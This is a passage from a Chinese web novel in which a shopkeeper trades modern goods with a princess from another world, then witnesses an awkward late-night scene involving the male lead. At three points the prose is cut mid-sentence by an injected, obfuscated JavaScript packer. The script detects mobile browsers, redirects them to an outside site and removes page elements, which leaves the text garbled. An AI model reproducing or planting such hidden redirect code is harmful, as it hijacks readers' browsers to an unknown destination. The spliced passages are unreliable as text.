启动后，小卖部所有物品归到防护范围内，非正常营业时间以及卖方不在场的情况下，异世界客户无法进行拿取，更无法对其使用暴力。 萧妧妧安心了，趁机琢磨一下其他功能，然后就看到了几个从未关注过的小设定。 【暂停营业】、【开始营业】很好理解，【永不交易】类似黑名单，需要手动填写客户名称和所属位面。 【防沉迷】功能属实有点意外，仔细一看，是设置客人在小卖部逗留的时间。 默认是72小时，超时会被系统踢出去，特定客人可增加或减少时间，每人每年只能修改一次。 萧妧妧想了想，直接给苏娇娇和申明月拉到最大值999小时。 就在萧妧妧想看看系统还有多少她不知道的惊喜时，后门传来动静。 她转身回头，见是漂亮公主，暗道一句好巧。 没等开口，随即注意到她双眼红肿，呜咽声细弱，竟是哭哭啼啼地找上门。 萧妧妧为难了，这要怎么整？ 好在没为难太久，漂亮公主看到店里有人，自己先憋不住开口。 “你说能满足本宫的需求，是真的吗？” 漂亮公主即便是抽抽搭搭，也不影响她傲慢的姿态。 萧妧妧丢下抹布，把展示牌重新扶上长桌，直截了当的问：“桌子上的东西是你扫下去的？” 漂亮公主紧拧眉头，瞪着一双通红杏眸看过来，她都急成这样了，萧老板还有心思关心那堆破东西。 萧妧妧没见她立刻否认，心里有数了，淡淡开口：“你趁我不在上门砸场子，还指望我做你生意？” 漂亮公主微微愣住，继而面颊臊红，略显心虚。 她支支吾吾开口：“不、不是的，我不是砸场子……我当时太生气了，所以……” 萧妧妧打断：“太生气了所以就要砸场子？” 漂亮公主直跺脚，“你怎么胡说，本宫说了，这不算砸场子。” 萧妧妧双手环胸，定定地望着她。 漂亮公主抿抿唇，不情愿的小声嘀咕：“大不了赔你钱就是了！” 她负气离开，不多会再回来，直直丢来一个巴掌大的荷包，荷包塞得鼓囊囊，砸在长桌上咚得一声闷响。 萧妧妧面色稍霁，让开身，请她进店。 “赔礼我收下了，下次再敢乱来，小店可就容不下您这尊佛了。” 漂亮公主鼓起脸颊，想到自己有求于人，到底没出声反驳，垂头耷脑跟进店铺。 萧妧妧：“说吧，要买什么，说不定我能帮你呢。” 漂亮公主扭扭捏捏开口：“我要买的不是东西，是……是……” 萧妧妧见她羞怯又窘迫，一副难为情的样子，更好奇了，撑着下巴等。 漂亮公主左右瞄一眼，低声道：“有没有那种，惊艳所有人的舞？” 萧妧妧默了默，她一脸娇羞的像是要买情趣小衣服的样子，结果只是买一支舞…… “母后寿诞，本宫要献舞一支，堂堂公主，怎么能让其他人比下去。” 萧妧妧仰头望着天花板，回想自己在哪本书里见过献舞的剧情，可翻来覆去想了一圈，一无所获。 她说一句稍等，走到后门边捡起荷包，碎金二十多粒，换算过来约莫有6300克左右，沉甸甸坠得手酸，像提了一箱矿泉水。 萧妧妧掂了掂，心里有数后塞进空间，果不其然，荷包进空间的瞬间，交易成立，列表点亮。 然后，萧妧妧就看到了柳如烟三个字，以及她的世界——《最强首辅：庶子的科举路》 嚯，她想起来了，是一本科举文，准确的说，是男频科举文，再准确一点，是大开后宫的男频科举文。 柳如烟在里面扮演了什么样的角色，哪怕萧妧妧只看了几十章弃文，也能猜个八九不离十。 公主，还叫柳如烟，多半是要倒贴男主的，贴财贴色贴权利贴关系，是男主待采割的乖韭菜，大血包。 不是萧妧妧对男主有偏见，而是直到弃文前的剧情一直如此。 攀登权利顶峰的路上，凡是漂亮女角色都像妖精见着唐僧肉一样，生扑男主，奉献自己的一切。 她是公主，看起来没那么快出场，只是不知道剧情走到哪了。 萧妧妧试探道：“我看你一脸娇羞，不只是跳给你母后看吧？” 柳如烟愣了一会后直接红温，杏眸一瞪，“胡、胡说，谁要跳给那个登徒子看！本宫是为了赢过那些小蹄子。” 萧妧妧默了默，这傻孩子，不打自招。 登徒子，男主？ 小蹄子，馋登徒子的血包女配？ 萧妧妧自己就会跳舞，大学前一直学民族舞，后来因为兴趣，又学习了街舞，只要柳如烟大方，她愿意费点工夫帮忙出主意。 现在得知她学舞是为了压过其他郡主千金，吸引男主目光，想到那个糟糕的渣男，萧妧妧便提不起劲。 提不起劲，但钱是要赚的。 萧妧妧便从自己的视频收藏夹里扒拉一通，“喏，看看有没有你需要的。” 她从第一个视频开始播放，只等柳如烟蹙眉，她便划开，跳下一个。 然而柳如烟心思根本不在舞蹈上，她瞪圆了杏眸，半张着嘴巴，直勾勾看平板。 “它会说话！” “里面为什么会有人跳舞？” “跳得真好，本宫可以打赏她们吗？” “萧老板，本宫说话她们能听见吗？” 萧妧妧习惯了古人见到高科技产品的震惊样，懒洋洋地解释。 柳如烟闻言，高声道：“本宫要买它！” 萧妧妧偏头，看她指着平板满怀期待，冷硬拒绝：“不卖，你买回去用不了，浪费钱。” 柳如烟失望一瞬，眼珠子一转，“那也要买，反正本宫不差钱，回去用不了，那就留在这里用。” 萧妧妧挑眉，暗道这生意倒是不错。 “你手里拿的是几年前的旧版，喏，你自己挑。” 萧妧妧调出购物APP进入品牌旗舰店，再把平板推出去，然而柳如烟一个字不认识，连图片都看得稀里糊涂，只知道花花绿绿，怪好看的。 “本宫不懂，你做主吧，要最好的那个。”发现自己看不懂，她索性不纠结了，直接交给萧妧妧决定，“这些……够吗？” 柳如烟摘下身上软趴趴的荷包推来。 她买东西一向不看价，有宫女负责给钱，可平板不一样，和她在宫里宫外看到的宝贝毫无可比性，柳如烟忽然担心起钱来。 萧妧妧填好下单信息才拿起荷包扒开，两粒碎金，电子秤显示有1100克。 “够！”买十个都绰 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14491464|154753||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 绰有余。 赚了人家钱便不能随便糊弄，萧妧妧不管她需不需要，又给配了鼠标键盘，买了保护套和高清膜，甚至咨询过，字体可以切换成繁体，不怕柳如烟看不懂。 柳如烟满意点头，昂起脑袋，“快快快，让本宫看美人跳舞。” 萧妧妧无语，重新跳回视频APP。 “不好不好，她们穿得太少了，不成体统。” “好吵的曲子，不喜欢。” “怎么还有男子跳这种舞……他还脱衣服！伤风败俗，伤风败俗！” 听到那句刻在DNA里的“只是女人总是一往情深”，萧妧妧暗道一句要完，赶紧挡住屏幕。 然而为时已晚，柳如烟全看到了。 分类错误的小视频在一众专业舞蹈教学视频中格格不入，萧妧妧面露尴尬。 她大声辩驳：“什么伤风败俗，说得真难听，人家擦边一下怎么了？年纪轻轻有腹肌就要多擦，咱们大女人就应该多看。” “擦边是什么意思？” “就是……搞黄色？” “那搞黄色又是什么意思？” “……你话真多，还要不要看？” “看看看，你怎么还恼羞成怒了……”嘀咕一句，柳如烟抢过平板，播放下一条视频。 她说我恼羞成怒，这小破孩……萧妧妧深吸气。 “不喜欢，都不喜欢，跳得还不如教坊司的舞姬。” 挑挑拣拣，柳如烟没一个看得上眼。 萧妧妧一愣，瞬间反应过来自己陷入了误区。 古典舞，还得是古代人会玩，至于现代舞、街舞、女团舞，甚至摇花手，柳如烟根本看不上，还诸多意见。 “萧老板，您也太会吹嘘了吧……”柳如烟摇摇头，一副‘你让我很失望’的表情。 挑衅，赤裸裸的挑衅！ 萧妧妧不服气的哼了一声，拿起手机捣鼓。 柳如烟撅撅嘴巴，也哼了一声，自顾自在小卖部闲逛。 最先吸引她注意的是柜台附近的货架，柳如烟诧异不已，铺子小小一间没她书房大，架子上却摆放了许多奇珍异宝。 玉髓玛瑙不说了，她是母后唯一的女儿，也是皇帝哥哥唯一的同胞妹妹，自小受尽宠爱，这些好东西她妆匣里有不少，琉璃倒是让她好一阵惊喜。 最最惊喜的是旁边一盒盒倒挂的手持镜，背面不晓得用了什么技艺，色彩鲜艳又粉嫩，翻到正面更让她惊艳，小小一块却清晰的映照出她的脸，说一句纤毫毕现不为过。 柳如烟欢喜极了，捧着手持镜反复照，反复观察自己的眼鼻嘴。 口脂有些淡了；眉梢不够细；脸上的粉让泪水冲出痕迹，挺失礼的；珍珠发簪果然适合自己，簪在乌黑发丝间真好看。 萧妧妧终于选出满意的视频，转头看到柳如烟抱着镜子臭美，见怪不怪。 申明月刚见到镜子时和她差不多模样，不过没柳如烟这么沉醉，叫了她好几声跟没听见似的。 萧妧妧走上前，拍了拍她肩膀，柳如烟吓得一抖，赶紧收敛笑容，摆出一惯的高傲神态。 “看看，够不够惊艳。” 柳如烟没舍得从手持镜上挪开目光，低头匆匆瞥一眼，随口挑剔，“你觉得她很惊艳？不过如此嘛……” 萧妧妧看她心不在焉，只顾着臭美，抽走她手里的镜子，拖动进度条，重新播放。 “看清楚了，冰上跳舞，符不符合你要的新意。” 柳如烟眉头一挑，不得不认真多看几眼，很快，她精致的鹅蛋脸上闪过惊异神情，目光渐渐专注。 萧妧妧看她沉默不语，凝着视频移不开目光，忍不住偷笑。 安小鸟一只冰嬉舞能俘获四大爷，再俘获一个柳如烟不是难事。 40. 第 40 章 “它叫冰嬉舞？有意思，本宫要学它！”柳如烟握拳振声。 饶是见多识广的柳如烟也得承认，冰嬉舞确实很有特点，很符合她要的惊艳感。 不说那群小蹄子，土包子陈松还不被她迷得晕头转向。 萧妧妧盯了她一会，看她捏着帕子，一会娇羞捂脸，一会得意骄傲，心里想了什么几乎写在脸上。 萧妧妧摇摇头，上网搜教学视频。 她记得有舞蹈区博主整活发了教学版，刚好能用上。 “学成什么样全看你自己，一共五十两银锭，谢谢惠顾。”萧妧妧怜悯地望着她，都不太好意思开高价了。 不过这笔生意做得划算，无本买卖，纯赚。 柳如烟惊讶，“五十两？银锭？” 萧妧妧：“嫌贵？” 柳如烟赶紧摇头，“不贵，一点不贵，可太便宜了。” 柳如烟四处扒拉，身上一点钱找不出来，留下一句等等，转身穿过结界。 再回来，柳如烟捧着两个鼓囊囊的荷包，大方道：“多的算赏你的。” 一锭金元宝搁在柜台上，萧妧妧无声的笑了。 柳如烟脾气不好，但胜在大方，这一锭足有二十两，也就是600克，萧妧妧就喜欢不差钱还特大方的客人。 “看在你大方的份上，再送你一套穿戴甲。” 萧妧妧把自己买来一直没机会用的猫眼穿戴甲送给她。 女孩子嘛，谁不喜欢漂漂亮亮的，送亮晶晶的穿戴甲肯定不会错。 果然，东西一亮相，柳如烟立刻被穿戴甲吸引了目光。 萧妧妧正要演示给她看，柳如烟特别自觉地伸出手，等她伺候。 萧妧妧：…… 公主，这是真公主啊。 萧妧妧：“美甲费用另算。” 柳如烟撇撇嘴，推来一锭五十两的金元宝。 二十两后又来五十两，眨眼工夫赚了2100克金子，兑成现金值不少钱呢。 “您请坐。” 萧妧妧面带笑容，请她坐下，端来饮料糕点投喂。 不只是公主，还是财神爷，她必须满足顾客需求。 柳如烟享受过殷勤到近乎谄媚的伺候，对萧妧妧勉强称得上周到的服务不以为然，坦然接受。 趁萧妧妧帮她清理指甲的工夫，柳如烟问：“本宫看中那柄手持镜了，卖价几何？” 萧妧妧这会是真不好意思再开高价，怕薅得太厉害，财神爷不来了。 “你看着给吧，”萧妧妧头也不抬的说，“先别和我说话，我要认真做指甲。” 柳如烟咂咂嘴，老板娘做生意可真随性，那么好的镜子竟让她看着给。她悄悄拿来镜子放在手心摩挲，眼珠子滴溜溜转。 “是你说看着给的，可别后悔啊。” 窃笑两声，柳如烟像是要看萧妧妧气跳脚似的，又一次丢出去五十两金锭，还偏要往萧妧妧眼前递。 柳如烟不禁翘了翘嘴角，镜子和穿戴甲一个价，萧老板怕是肠子都悔青了。 萧妧妧：“……” 萧妧妧缓缓抬头，像看傻子一样的表情看柳如烟，沉默。 她一副占了大便宜的样子，得意洋洋，看起来还有点贱兮兮的可爱。 如果告诉她手持镜进价才要80块，换算过去甚至不到一两银子，柳如烟应该会被她气哭吧。 萧妧妧忽然起了逗弄她的心思，可想到是财神爷，歇了心思。 柳如烟等了又等，差点贴着她的脸，始终等不到萧妧妧露出又悔又恨的模样，颇觉无趣，哼了一声挪开目光。 萧妧妧不和她说话，她也不会让自己无聊，继续照镜子，照了半天过足瘾，要换手的时候再抱来平板学舞，嘴里零食不带停的。 “好了，结束，”萧妧妧满意点头，不枉费她费心费力，效果好极了。 柳如烟嗷呜一口吞掉最后一个冰激凌泡芙，两手并拢翘起，在灯光下摆出各种姿势。 “好看，真好看，比染出来的精致许多，它叫什么眼来着？” 柳如烟喜欢极了，捏出不同手势摆在脸颊边，再照着镜子欣赏。 萧妧妧收拾工具，清理桌面，“猫眼。” “猫眼……这名字真适合它，”柳如烟又问：“你拆掉的那款叫什么？本宫觉着也不错。” 萧妧妧想了想，“夏日多巴胺。” 然后转身，从柜台里拿出另外十几副穿戴甲摊开展示，“这里有不少，看在你买得多的份上，这些给你算便宜些，十两金一副。” 柳如烟顾不上欣赏自己的纤纤细手，注意力全部转移到柜台上，这里摸摸，那里看看，好像都很喜欢的样子。 “好漂亮啊，本宫要是戴着它们参加宫宴，准惊掉荣昌和顺西的下巴，看她们怎么比。” 柳如烟不禁幻想自己艳惊四座的场面，眼含向往。 萧妧妧敲敲柜台，提醒她回神。 “你这店铺虽古怪，好东西着实不少，这些穿戴甲本宫全要了！”柳如烟大手一挥，直接包圆了萧妧妧的存货。 萧妧妧意外了一会，继而乐了，“好，一共十五副，一百五十两金子。” 柳如烟翘着手指小心翼翼捏荷包，捡出三枚金锭，萧妧妧吞了吞口水，颤抖着手接过。 不怪她土包子没见过世面，而是想到短短半个下午，算上赔偿金锭，她已经从柳如烟手里赚了将近16000克金子，控制不住的激动。 如果算上小金库剩余金锭，她现在一共有24402克金子。 换句话说，她现在是千万富翁了！ 沉浸在暴富的快乐中，柳如烟什么时候离开的她完全没注意到。 好心情一直持续到晚上，回家的时候雨还在哗啦啦下，刚进门准备换衣服，意外的，黎行墨找了过来。 萧妧妧让开身，请他进院子，随口一提：“昭昭应该在家，我帮你叫她？” 黎行墨摸了摸鼻子，却没跟上她脚步，萧妧妧意识到他可能不是来找云昭昭的。 萧妧妧不禁挠头，她这几天挺忙的，都没时间在男主面前露脸，应该没机会得罪他吧？ 就在萧妧妧一头雾水的时候，黎行墨清清嗓子，说出来意。 “萧小姐，周末我和昭昭约好去南奇山爬山，我是来邀请你和我们一起的。” 萧妧妧嘶了一声，挠着脸颊问：“那我是答应……还是应该不答应？” 三个人，她是那个电灯泡，去了多尴尬啊，可是拒绝的话，她这个女配是不是不给男主面子？ 黎行墨不知道她在犹豫什么，语气急促，听起来有点催促的味道，“我和昭昭都希望你能来，她在我家等消息呢。” 萧妧妧神情更古怪了，怎么看起来黎行墨挺期待她去当电灯泡的。 除了黎行墨要玩什么新花样，萧妧妧想不到别的，正好周末本就答应昭昭要带她在南市走一走看一看，没理由拒绝。 萧妧妧：“好啊，时间你们定，商量好了让昭昭告诉我一声。” 黎行墨肩 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14491465|154753||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 膀一松，笑容真切了几分，“谢谢萧小姐。” 话未完全落音，黎行墨嗖一下消失。 萧妧妧拧眉，挠头，猜不到他们要玩什么花样，转身回家。 入夜后，暴雨如注，萧妧妧听着雨声，舒舒服服躺在摇椅里追剧，昏昏欲睡的时候，手机铃铃铃响。 萧妧妧一激灵，爬起来摸索到手机一看，备注是活财神，茫然一会立即反应过来。 “喂？娇娇姐？” ………… 小卖部后门，停止营业的红灯亮起，苏娇娇在院子里叫了好几声，没得到回应，只能拨通电话。 萧妧妧很快接起，苏娇娇心中安定，“妧妧，十万火急，我等到了接头人，约定是明日凌晨交接转移，消息来得突然，我没时间准备……” 接头时间点在夜深人静的时刻，留给苏娇娇准备的时间不多，不得不在停止营业期间找来。 “嗐，多大点事，娇娇姐等我几分钟，很快到。” 萧妧妧说着话已经起身，找来外套随便披上身。 已是十一点，院子里只有景观灯亮着，楼上楼下的房间一片黑漆漆，好在雨停了。 萧妧妧蹑手蹑脚推史努比出门。 没有游客和各种特色小摊，月牙巷格外的宽敞，史努比以最快速度赶到小卖部，时间只过去三分钟。 萧妧妧急匆匆进店，就看到苏娇娇急得来回踱步。 看得出她也是临时接到消息的，身上穿着睡袍，一向盘在后脑勺的乌发卷曲凌乱的垂在身后。 “实在不好意思，这么晚还来打扰你，距离接头没几个小时，我怕晚一些让人看出破绽。” 苏娇娇看她同样是一身睡衣，素净脸蛋满是歉意。 萧妧妧摆了摆手，推来小拖车，等她走到后门，看见外面是苏娇娇暂住的酒店套房，忙提醒她，“娇娇姐，难道你要把东西从酒店运到指定地点吗？” 苏娇娇回头看了看，一拍脑门，懊恼不已，“对不起对不起，我太着急了，一时忘记。你放心，接头地点就在附近，我很快能到，妧妧你再等等我。” 连连道歉后，苏娇娇不再耽误，回去换衣服，准备出门。 萧妧妧想着要帮她省时间，又找来两个拖车。 几乎是刚把大箱子挪出来，苏娇娇回来了，扶着门气喘吁吁。 “我到目的地了，现在还没人。” 萧妧妧看一眼外面，一间小院，院墙堆满了各种农具。 “我帮你。” 两人接力把箱子依次推出结界，检查一遍看数量对得上，箱子编码没问题，苏娇娇整个人轻松了，直接瘫软在箱子上。 想到萧妧妧还不清楚这里状况，她强撑着站起，告诉萧妧妧一声，继续守在院子里等人接头。 萧妧妧看她那里正值深夜，又是夏日，递给她一瓶驱蚊水。 再三确定不需要她留下帮忙，萧妧妧便锁门，回家。 拐进245号春山居所在的巷子，萧妧妧怕吵到人，史努比留在大门外，雨衣盖在上面，防止夜里下雨。 收拾得差不多，萧妧妧往回走，才迈出去两步，她忽然顿住脚步。 四五米外，大榕树下，一辆黑色商务轿车规律地颤动着，漆黑车身映照245号的红灯笼，窗上滑落红色雨珠，滴滴滚落在地上，汇集成积水，流动着红色光斑。 夏日雨夜，黢黑小巷，诡异轿车，大红灯笼……萧妧妧浅浅脑补了几秒，脑子里无数灵异鬼怪画面诞生，汗毛唰一下竖立。 41. 第 41 章 “富强、民主、和谐……” 小巷路灯坏了半个多月，没人修，道路昏暗，看错很正常，萧妧妧一边宽慰自己，念念有词，一边掏出手机打开手电筒壮胆。 好巧不巧，刚摸到手机，耳边传来“吱呀”一声，紧跟着是呼哧呼哧的喘息，呜咽声忽高忽低。 本来只有一点点怕，现在直接翻倍，萧妧妧头皮都麻了，怀疑自己赚太多钱遭报应。 她配合苏娇娇在中元节吓唬别人，这回轮到自己了，还恰好是鬼月，怎么不算因果循环。 萧妧妧僵了足足有十几秒，而后飞快倒腾双腿。 然而迈出去几步，胳膊忽然被什么握住，猝不及防将她向后拉，连带着迈出去的步子退回原地。 “别过去。”低低沉沉的嗓音在头顶上方响起。 萧妧妧吓得心脏咚咚两下，感受到隔着衣料的温度，她的心跳才渐渐稳住。 她顺着力道低头望去，看到了修长的指节，目光顺着手指向上移，萧妧妧看到了手指的主人，黎行聿。 “吓死我了，”萧妧妧拍着胸口，长舒一口气，忍不住抱怨：“我差点以为见鬼了。” 黎行聿默了默，低声道一句抱歉，松开手。 旁边有人，还是半生不熟的邻居，萧妧妧显然找到了勇气，这时才意识到，刚刚那些奇奇怪怪的动静多半是黎行聿发出的。 想到这里，萧妧妧更没什么好怕的，是人就好，比鬼强。 “对了，你让我别去哪？”平静下来，萧妧妧想起黎行聿说的话。 黎行聿稍显迟疑。 萧妧妧更好奇了，只是没等她开口，腿边传来毛茸茸热乎乎的触感，低头一瞥，是一条戴着嘴套的……狼？ 黎行聿：“是狗，捷克狼犬。” 萧妧妧嚯了一声，后退两步躲开。 大型犬很有压迫力，尤其它长得像狼，哪怕戴了嘴套仍旧不敢随便靠近，难怪黎行聿要深夜遛狗。 可不管她怎么后退，大狗得寸进尺，黏黏糊糊要贴上来，黎行聿拽紧牵引绳，急声低斥：“大王。” 弓背贴腿的捷克狼犬接收到主人的命令，低声嗷呜，一步一回头的盯着萧妧妧，委委屈屈回到主人身边蹲坐。 萧妧妧违心夸赞：“好狗。” 名叫大王的捷克狼犬似乎听懂了她的夸赞，唰一下站起，摇着尾巴要凑过来，萧妧妧真服了它，长这么凶怎么那么不经夸。 “黎先生是要去遛狗吧？您继续，我得回家了。”萧妧妧急匆匆说完，躲着狗子要离开。 “等等……”黎行聿轻声阻止，几乎是扯着萧妧妧将她带到自己面前，提醒：“先别过去。” 萧妧妧：？？ 萧妧妧懵懵地瞪着眼睛看他，但黎行聿面无表情，一本正经，不知道搞什么鬼。 “……哥？” 正当萧妧妧摸不着头脑的时候，黎行墨沙哑的嗓音响起。 但是……他从哪冒出来的？ 萧妧妧歪了歪身子，疑惑张望，黎行聿却跟着挪了半步，死死挡在她面前。 “别看。” 黎行聿语气不好，但能听出坏情绪不是针对她。 萧妧妧挠头，彻底搞不清状况了，好在下一秒发生的事让她秒懂。 她听到了关门声，关车门的声音！ 甚至关车门前，黎行墨还和车里人说了什么，叽里咕噜听不清。 “穿上衣服，跟我回家。” 黎行聿保持着和萧妧妧面对面的站位，只偏了偏头，语含警告的和背后人说话。 想起颤动的轿车，以及挡在她面前不让路的黎行聿，萧妧妧忍不住瞪大眼睛。 眼前什么情况，一目了然。 秒懂女孩萧妧妧忽然间视线飘忽，脚趾不自觉扣地。 她敢保证，这是一件能上热搜的社死事件，在场的每一个人都各有各的尴尬。 黎行墨清清嗓子，窸窸窣窣了好一阵才走到黎行聿身侧。 “哥，我去遛大王，您休息。” 他殷勤地抽走牵引绳，笑嘻嘻面对黎行聿的冷脸，直到在大哥身边站定，黎行墨注意到完全被大哥身影遮挡住的萧妧妧。 黎行墨没想到现场会有另一人，不由愣了愣。 他摸了摸鼻子，支支吾吾的对萧妧妧说：“那个、萧小姐这么晚还在外面啊，早点回去吧，马上要下雨了。” 萧妧妧望天望地，还是不小心瞥到黎行墨半敞着的衬衫和皱巴巴的裤子。 “好像是要下雨了，我先回家，两位黎先生再见。” 干巴巴的应了两句，萧妧妧脚步匆匆逃离社死现场。 亏她以为闹鬼，吓得要钻被窝，原来是小情侣擦枪走火。 关上大门的时候，萧妧妧实在没忍住，留了一条缝。 巷子中央，大榕树下，黎行聿双手环胸，冷冷地瞥一眼黑色商务车，又冷冷地盯着黎行墨。 黎行墨吊儿郎当没个正经样，但他演得很好，垂头耷脑一副悔过样。 黎行聿显然不会被他的表象欺骗，低声训斥。 “这就是你保证的不胡闹？” “你不在乎，难道她也不在乎？” “今晚的事传出去有什么后果你考虑过没有？” 一句比一句戳他心窝子，黎行墨蓦的怔住。 “对不起，哥，是我冲动了。” 黎行聿当头一棒敲下来，黎行墨瞬间警醒，他想到哭求的云昭昭，这会也不觉得那是在玩情调。 意识到自己行为不妥，黎行墨瞬间蔫了。 他没关系，最多传出去丢脸罢了，借住在萧家的云昭昭跟他不一样，她在乎萧家人、在乎旁人的目光。 一脸冷酷黎行聿看弟弟态度端正，面色柔和些许，“给你十分钟时间。” 丢下这一句，黎行聿转身回家，黎行墨撸一把额前碎发，脚步沉重地回到车上。 萧妧妧看门前空荡荡，悄悄关上大门，回到房间。 黎行墨行事无所顾忌，是该教训教训了。 排除男主女主和女配的身份关系，萧妧妧更认为她和云昭昭是朋友，立场从读者转换到女主朋友的视角，面对同一件事，她的看法也是不一样的。 当读者的时候，她会大呼刺激，并希望多来点。 当朋友的时候，她不禁思考云昭昭的态度。 她是出于自愿和黎行墨走到一起，还是扛不过黎行墨的霸道作风，半推半就？ 萧妧妧撑着下巴思考，大门传来动静，是云昭昭鬼鬼祟祟回来了。 “昭昭，要和我聊聊吗？”萧妧妧不知道自己 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14491466|154753||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 抽哪门子疯，忽然闯出去。 云昭昭意外于萧妧妧这么晚没睡，呆了一会摇摇头又点点头。 她忐忑极了，不停猜测萧妧妧到底有没有发现她和黎行墨在车上的事。 萧妧妧拉开门，请她进来，云昭昭抿抿唇，蹑手蹑脚进屋。 “在黎家工作怎么样？会不会太累了？”萧妧妧放下一杯水，旁敲侧击。 闻言，云昭昭悄悄松了一口气，老实巴交的回答：“不累，除了管着小月亮少吃糖时会闹腾点，孩子挺好教的。黎先生平时很忙，不常在家看到他，他也不怎么管我。学长倒是经常在家，但没有为难过我，对我挺、挺好的。” 说到黎行墨，云昭昭耳根子发热，眼底有羞怯与拼命掩藏的欢喜。 和她谈恋爱的舍友一个模样。 萧妧妧嗯了一声，闲聊一样说道：“黎行墨看起来脾气没比他哥哥好多少，他要是欺负你，你回来跟我说，我叫上我爸妈一起给你撑腰。” 云昭昭身子前倾，近乎辩驳的语气开口：“妧妧姐你误会他了，行墨学长人挺好的，对我很照顾，别看他平时脾气不小，其实很温柔，哄小月亮的时候特别耐心。” 萧妧妧说了一句黎行墨不好，云昭昭噼里啪啦一大串讲述他的优点，是不是喜欢，基本已经验证。 “那就好，看你这么晚下班，以为他们故意刁难你呢，是我误会了，快回去休息。”萧妧妧得到了想要的结果，话锋一转，直接结束话题。 云昭昭听她说回来太晚，思绪情不自禁发散，想起自己恨不得遗忘的片段，耳根子连着脖颈一起通红一片。 明知道妧妧姐不会看到她在想什么，云昭昭此刻还是羞得想钻地缝。 她低垂着脑袋，逃似地跑回房间。 萧妧妧想，果然是她忙着赚钱，没注意剧情走向，男女主都发展到这里了。 两人认识总共不到一个月吧？不愧是限制文，速度就是不一般。 感叹一会，萧妧妧重新洗漱上床睡觉。 这一晚上折腾半天，直接导致第二天萧妧妧起迟了。 洗漱完毕，萧妧妧急匆匆出门，史努比艰难穿行在游客中，八点十五左右将将赶到小卖部门口，而此时，街上大部分店铺已经开始了今天的营业。 看门前柏油马路堵得水泄不通，甭管好车坏车大车小车，通通趴在那里一动不动，萧妧妧不禁庆幸，幸好自己不需要上班。 “萧妧妧！萧小姐！” 萧妧妧锁上车，急急忙忙准备进店，一片喇叭声中，她隐约听到有人喊她名字。 “萧小姐，我们在你后面。” 萧妧妧半转过身，视线在车流中睃巡，很快找到夹在两辆厢式货车中间的越野车。 越野车外观霸气硬朗，可没用，遇上堵车再霸气都比不上她的史努比。 视线稍稍偏移，她看到了后车窗打开，黎行墨探出半截身子，冲着她挥舞手臂，笑容灿烂。 在萧妧妧看过去的瞬间，黎行墨推开车门，从车辆缝隙中挤上人行道。 不是吧大哥，你昨天才社死，今天竟然敢主动找来，你不怕尴尬我怕啊……萧妧妧抿抿唇，忍不住腹诽。 眼睁睁看着青春男大像看到救星似的向自己奔来，并越来越近，萧妧妧不禁思考，我们很熟吗？ 42. 第 42 章 “你说什么？借我的史努比？” 要不是黎行墨用他那张帅脸摆出难以言喻的表情，挑剔又嫌弃地盯着电动车，萧妧妧绝对会怀疑自己没睡醒听错了。 霸气威武的越野车VS可爱但寒酸的史努比，很难不沉默。 黎行墨指向身后，语气无奈，“堵车，现在进退两难，我哥赶时间，九点半有一个重要会议。” 老城区堵车很常见，堵到交通瘫痪的程度，多半是最近两天暴雨淹了隧道。 家门口的交通状况她太清楚了，现在这路况别说赶去开会，下班打卡都赶不上。 萧妧妧暗道一句难怪，歪了歪身子，视线投向道路中央那辆动弹不得的越野车。 大开的车窗中，黎行聿挂断电话后迅速接起另一通电话，说话间时不时抬起手腕看表。 司机回头说了句什么，他眉头紧拧，思考片刻匆匆结束通话，打开电脑。 萧妧妧收回视线，递去车钥匙和镭射紫的头盔，勉为其难的念叨，“行吧，这可是我最心爱的小电动，买来不到半个月，你可别让它剐蹭了。” 新买的车子，她舍不得借，可黎行聿花了十五万买下她的玉扳指，借一下也没什么。 接过钥匙的黎行墨松了一口气，欣喜道谢，快步走到电动车旁后，他突然停下脚步。 萧妧妧：“怎么了？” 黎行墨垮着一张脸转过身，声音有些气恼，“我不会骑电动车。” 萧妧妧目光飘向越野车，黎行墨像是猜到她想法似的，道：“……他也不会。” 哇哦，那就没办法了。 萧妧妧耸耸肩，表示爱莫能助，抬眸对上黎行墨若有所思的目光，耸肩动作稍顿。 萧妧妧后退两步，警惕开口：“小卖部该营业了，史努比你们随便用，什么时候还都行。” 她转身要跑，但显然，速度慢了，黎行墨大迈步拦住她。 “小卖部一天营业额多少？我十倍还你，萧小姐方便送我哥去公司吗？江岸CBD的黎明大厦，车程二十多分钟左右。” 营业额、十倍……捕捉到关键词，萧妧妧毫不犹豫转身，笑容和善。 “我送你们一程！” 犹豫一秒都是她对钱的不尊重。 黎行墨很满意，“加个月亮号，我给你转账。” “好嘞。” 萧妧妧喜滋滋掏出手机。 叮叮两声，一个转账，一个收款。 